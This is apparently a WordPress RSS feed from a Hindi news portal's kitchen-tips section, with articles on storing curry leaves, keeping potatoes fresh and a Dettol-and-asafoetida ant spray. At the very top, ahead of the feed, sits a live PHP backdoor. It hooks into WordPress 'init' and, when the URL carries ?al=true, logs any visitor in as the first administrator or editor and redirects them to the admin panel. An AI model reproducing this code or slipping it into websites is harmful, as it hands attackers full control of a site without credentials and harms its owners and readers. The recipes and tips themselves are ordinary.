// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Kitchen Tips – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 27 May 2026 08:12:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 करी पत्ता स्टोर करने के आसान तरीके: महीनों तक रहेगा फ्रेश और हरा-भरा https://pratyushaashakinayikiran.com/?p=222629 Wed, 27 May 2026 08:12:00 +0000 https://pratyushaashakinayikiran.com/?p=222629  चाहे सुबह का गरमा-गरम पोहा हो, सांभर, नारियल की चटनी हो या फिर दाल का कड़कड़ाता हुआ तड़का, करी पत्ते के बिना हर पकवान अधूरा सा लगता है. इसकी खुशबू भूख तो बढ़ाती ही है, साथ ही यह हमारी सेहत के लिए भी किसी वरदान से कम नहीं है.

हर भारतीय घर की गर्मियों में एक आम समस्या है, हम बाजार से बड़े चाव से हरा-भरा करी पत्ता खरीद कर लाते हैं या पड़ोस के गमले से तोड़कर लाते हैं, लेकिन दो से तीन दिनों में ही वह काला, सूखा और बेजान होने लगता है. अच्छी बात यह है कि कुछ घरेलू तरीकों की मदद से आप महीनों तक करी पत्ते की ताजगी बनाएं रख सकते हैं.

आइए आपको कुछ ऐसे ही बेहद आसान और असरदार देसी नुस्खों के बारे में बताते हैं, जिन्हें अपनाकर आप करी पत्ते को महीनों तक एकदम फ्रेश रख सकते हैं.

एयरटाइट डिब्बा और टिशू पेपर
यह सबसे आसान और असरदार तरीका है, करी पत्ते को किसी एयरटाइट डिब्बे में रख दें. इसके लिए सबसे पहले करी पत्तों को डंडियों से अलग कर लें और साफ पानी से अच्छी तरह धो लें. अब इन्हें एक सूती कपड़े या टिशू पेपर पर फैलाकर पंखे के नीचे पूरी तरह सुखा लें.

सूखने के बाद एक प्लास्टिक या कांच के एयरटाइट डिब्बे के नीचे टिशू पेपर बिछाएं, उसमें पत्ते डालें और ऊपर से एक और टिशू पेपर रखकर डिब्बा बंद कर दें. इसे फ्रिज में रखें, पत्ते महीनों तक हरे बने रहेंगे.

मलमल का कपड़ा है मददगार
पत्तों को धोकर अच्छे से सुखाने के बाद, उन्हें एक हल्के और साफ सूती या मलमल के कपड़े में ढीला-ढीला बांध लें. इस पोटली को फ्रिज के वेजिटेबल बॉक्स में रख दें. कपड़ा पत्तों से एक्स्ट्रा नमी को सोख लेता है और पत्ते सड़ते नहीं हैं.

पत्तियों को फ्रीज करें स्टोर
अगर आप करी पत्तों को 6 महीने से भी अधिक चलाना चाहते हैं तो सूखी हुई पत्तियों को जिप-लॉक बैग में भरकर उसकी पूरी हवा निकाल दें. फिर इसे सीधे फ्रीजर में रख दें. जब भी इस्तेमाल करना हो, मुट्ठी भर पत्ते निकालें और सीधे तड़के में डाल दें. इससे इनका स्वाद और खुशबू दोनों लंबे समय तक वैसी ही बनी रहती है.

तेल में भूनकर रखना
करी पत्ते को आप लंबे समय तक इस्तेमाल करना चाहते हैं तो आप उनको तेल में फ्राई करके भी स्टोर कर सकते हैं. इसके लिए एक कड़ाही में आधा चम्मच तेल गरम करें और करी पत्तों को धीमी आंच पर हल्का सा भून लें. ठंडा होने पर इन्हें किसी कांच की बरनी में भरकर फ्रिज में रख दें.

इस टिप का रखें खास ध्यान
करी पत्ते को कभी भी धूप में न सुखाएं, इससे उसकी असली खुशबू और स्वाद उड़ जाता है. हमेशा इन्हें छांव या पंखे की हवा में ही सुखाएं. इन छोटे-छोटे देसी जुगाड़ को अपनाकर आप जब चाहे, अपनी रसोई को करी पत्ते की बेहतरीन खुशबू से महका सकते हैं.

]]> गर्मियों में आलू को लंबे समय तक फ्रेश रखने का आसान देसी तरीका https://pratyushaashakinayikiran.com/?p=217831 Fri, 08 May 2026 07:58:00 +0000 https://pratyushaashakinayikiran.com/?p=217831 गर्मियों में न केवल टमाटर और हीर मिर्च जैसी सब्जियों को सड़ने से बचाना मुश्किल होता है, बल्कि आलू को भी लंबे समय तक फ्रेश रखना थोड़ा मुश्किल हो जाता है. ज्यादा गर्मी और मौसम में नमी की वजह से आलू जल्दी अंकुरित होने लगते हैं, नरम पड़ जाते हैं या फिर सड़ने लगते हैं. अक्सर लोग आलू को प्लास्टिक बैग, बंद डिब्बे या फिर गीली जगह पर रख देते हैं, जिससे आलू और जल्दी सड़ते हैं.

अगर आपके घर में भी आलू के अंकुरित और सड़ने से परेशान रहते हैं, तो एक आसान और पुराने जमाने का देसी तरीका आपके बहुत काम आ सकता है. इस तरीके से आलू को स्टोर करने से वो लंबे समय तक फ्रेश बने रह सकते हैं. वो तरीका क्या है, चलिए जानते हैं.

इस ट्रिक से लंबे समय तक फ्रेश रहेंगे आलू?
आलू को अंकुरित होने और सड़ने से बचाने के लिए आप उन्हें कार्डबोर्ड बॉक्स में रख सकते हैं. इसमें छोटे-छोटे छेद होते हैं, जिससे हवा आती-जाती रहती है. यही वजह है कि इसमें आलू रखने पर उनमें नमी जमा नहीं होती और सड़ने से बच जाते हैं. प्लास्टिक बैग के मुकाबले कार्डबोर्ड बॉक्स में वेंटिलेशन ज्यादा अच्छा बना रहता है, जिससे आलू ज्यादा समय तक ताजे बने रहते हैं.

ऐसे में आलू को फ्रेश रखने के लिए महंगे कंटेनर या फ्रिज की जरूरत नहीं होती है. उन्हें कार्डबोर्ड बॉक्स में रखने से लंबे समय तक खराब होने से बचा सकता है.

क्यों जरूरी है आलू को सही तरीके से स्टोर करना?
आलू को सही तरीके से स्टोर करना बहुत जरूरी है क्योंकि वो रोशनी, नमी और ज्यादा गर्मी से जल्दी खराब हो जाते हैं. अगर आलू पर सूरज की किरणों ज्यादा पड़ती है, तो वो हरे होने लगते हैं और सोलनाइन नाम का तत्व बनता है, जो स्वाद खराब करने के साथ सेहत के लिए भी नुकसानदायक हो सकता है. वहीं नमी के कारण आलू में फफूंदी लगती है और वो जल्दी सड़ जाते हैं. इसलिए आलू को सही तरह से स्टोर करना बहुत जूररी है.

आलू स्टोर करते समय रखें इन बातों का ध्यान
1. ठंडी जगह पर करें स्टोर: कार्डबोर्ड बॉक्स को ऐसी जगह रखें जहां सीधी धूप न आती हो. रसोई की अलमारी या पेंट्री इसके लिए अच्छी जगह हो सकती है.

2. आलू धोकर न रखें: अगर आप आलू को स्टोर करने से पहले धोते हैं तो आप गलत कर रहे हैं. पानी या नमी से आलू जल्दी खराब हो सकते हैं.

3. प्याज के साथ भूलकर भी न रखें: आलू और प्याज को साथ रखने से दोनों जल्दी खराब होने लगते हैं, क्योंकि प्याज से निकलने वाली गैस आलू को खराब करती है.

4. बॉक्स को थोड़ा खुला रखें: आलू को कार्डबोर्ड में रखने के बाद अगर आप उसे पूरी तरह से बंद कर देंगे तो भी वो खराब होने लगेंगे. ऐसे में उसे थोड़ा खुला रखें, जिससे हवा पास होती रहे.

]]> चींटियों से छुटकारा पाने का आसान तरीका! डिटॉल और हींग वाला स्प्रे करेगा काम https://pratyushaashakinayikiran.com/?p=216651 Sun, 03 May 2026 10:09:00 +0000 https://pratyushaashakinayikiran.com/?p=216651 किचन घर का एक ऐसा कोना है जहां साफ-सफाई सबसे जरूरी हो जाती है क्योंकि यहां आपका खाना-पीना बनता है जो सीधे आपकी सेहत पर असर करता है. लेकिन खाने-पीने की चीजों की वजह से किचन में चींटिया और कॉकरोच जैसे कीड़े-मकोड़े खिचें चले आते हैं.

चीनी का एक दाना या खाने की हल्की सी महक भी चींटियों की पूरी फौज को दावत दे देती है. बाजार में मिलने वाले कीटनाशक स्प्रे खाने की जगह पर इस्तेमाल करना स्वास्थ्य के लिए खतरनाक हो सकता है. ऐसे में मशहूर शेफ पंकज भदौरिया की ट्रिक आपके काफी काम आ सकती है. उन्होंने अपने सोशल मीडिया पर कुछ समय पहले ये ट्रिक शेयर की थी. इस नुस्खे की सबसे अच्छी बात यह है कि इससे चींटियों को कोई नुकसान पहुंचाए बिना उन्हें भगाया जा सकता है जिससे आपकी रसोई भी सुरक्षित और साफ बनी रहती है.

पंकज भदौरिया ने दी ये टिप
शेफ पंकज के अनुसार, चींटियों को भगाने के लिए एक स्प्रे बॉटल लीजिए. इसमें 2 चम्मच डिटॉल मिलाएं और एक चम्मच पिसी हुई हींग. अब इसे अच्छी तरह शेक कर लीजिए. वो बताती हैं कि हींग और डिटॉल की महक चींटियों को दूर रखती है. इसे आप किचन समेत घर में कहीं भी स्प्रे कर सकते हैं और चींटियों से छुटकारा पा सकते हैं.

ये तरीके भी आ सकते हैं काम
यहां हम आपको कुछ और घरेलू नुस्खे भी बता रहे हैं जो आपके घर को चींटियों से मुक्त रख सकते हैं.

चींटियों को भगाने के लिए सफेद सिरका भी काफी शक्तिशाली हथियार है. इसके लिए एक स्प्रे बोतल में बराबर मात्रा में पानी और सफेद सिरका मिलाएं. जहां भी आपको चींटियों की कतार दिखे या उनके घुसने की जगह हो (जैसे खिड़कियों के कोने, दराजों के नीचे या स्लैब के किनारे), वहां इस मिश्रण का छिड़काव करें.

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